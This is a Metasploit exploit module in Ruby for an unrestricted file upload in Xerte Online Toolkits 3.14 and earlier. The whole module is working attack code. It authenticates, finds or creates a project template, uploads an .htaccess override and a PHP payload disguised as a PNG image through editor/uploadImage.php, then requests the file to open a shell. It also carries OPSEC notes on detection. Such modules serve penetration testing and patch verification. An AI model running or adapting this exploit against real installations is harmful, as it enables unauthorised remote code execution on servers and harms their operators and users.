Xerte Online Toolkits 3.14 Upload Image Shell Upload
##
# This module Xerte Online Toolkits 3.14 Upload Image Shell Upload
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
'Description' => %q{
This module exploits the user template file import function's unrestricted
file upload in versions 3.14 and earlier to upload and execute a shell.
This targets editor/uploadImage.php.
This has only been tested in implementations where the authentication type is "Db".
OPSEC
- if the user is logged in elsewhere, they may experience interruptions
- several requests sent to the server and activity is logged
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Lester'
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
]
)
end
def login
print_status('Attempting to authenticate...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/'),
'method' => 'POST',
'vars_post' => {
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
)
unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
end
print_good('Authentication successful.')
end
def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
if res&.code == 200
if res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def trigger_payload
print_good("Triggering shell at #{@web_path}")
# using for loop with the range
shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
})
end
def upload_payload(my_payload, filename)
# construct the payload and upload
mime = Rex::MIME::Message.new
mime.add_part(my_payload, 'image/png', nil,
%(form-data; name="upload"; filename=#{filename}))
# web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')
# mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
register_file_for_cleanup("#{@media_path}#{php_filename}")
register_file_for_cleanup("#{@media_path}.htaccess")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
'data' => mime.to_s
)
if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
end
end
def delete_lockfile(template_id)
# The previous step made a get request to the template, effectively locking it.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
'vars_get' => {
'template_id' => template_id.to_s
},
'vars_post' => {
'lockfile_clear' => 'delete_lockfile'
}
})
html = res.get_html_document
vprint_status("Deleted lockfile for #{template_id}")
variable_block = html.at('[text()*="mediavariable="]').text
parse_template(variable_block)
end
def parse_template(template)
# extract important variables from the template
vprint_status('Parsing template')
template.each_line do |line|
if line && line.include?('mediavariable=')
@media_path = line.split('"')[1]
elsif line && line.include?('rlourlvariable')
@web_path = line.split('"')[1]
elsif line && line.include?('template_id')
@template_id = line.split('"')[1]
elsif line && line.include?('path = "')
line = line.strip
@template_path = line.split('"')[1]
end
end
vprint_status("Found media: #{@media_path}") unless @media_path.blank?
vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
vprint_status("Found template: #{@template_id}") unless @template_id.blank?
end
def find_valid_template
# Iterates template ID's 1-20 to see if any exist and if the user has access.
found_template = false
for template_id in 1..20 do
vprint_line("Checking template ID #{template_id}")
res = send_request_cgi({ # this causes the template to become locked
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
'vars_get' => {
'template_id' => template_id.to_s
}
})
if res&.code == 200
if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
delete_lockfile(template_id)
found_template = true
print_status("Found mediavariable at #{template_id}")
break
elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
vprint_line("Template #{template_id} doesn't exist")
elsif res.body.to_s.include?('Permission denied')
vprint_line("Template #{template_id} belongs to someone else")
else
vprint_line("Template ID #{template_id} is not locked")
delete_lockfile(template_id)
found_template = true
print_status("Found mediavariable at #{template_id}")
break
end
else
print_bad("Error with template #{template_id}")
end
end
unless found_template
# If no projects are found, create one
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
'vars_post' => {
'tutorialid' => 'Nottingham',
'templatename' => 'Nottingham',
'tutorialname' => Rex::Text.rand_text_alpha(8),
'folder_id' => ''
}
})
if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
# Ensure the project was created
template_id = res.body.to_s.split(',')[0]
print_status("Created template (id: #{template_id})")
delete_lockfile(template_id)
found_template = true
end
end
# If for some reason, the previous project creation failed, it's probably best to create one manually.
fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
end
def exploit
login
find_valid_template
# this exploit won't work unless a .htaccess file is also uploaded
upload_payload(htaccess_payload, '.htaccess')
upload_payload(payload.encoded, php_filename)
print_status('Uploaded the PHP Payload file')
trigger_payload
end
def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end
def htaccess_payload
<<~PAYLOAD
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
PAYLOAD
end
end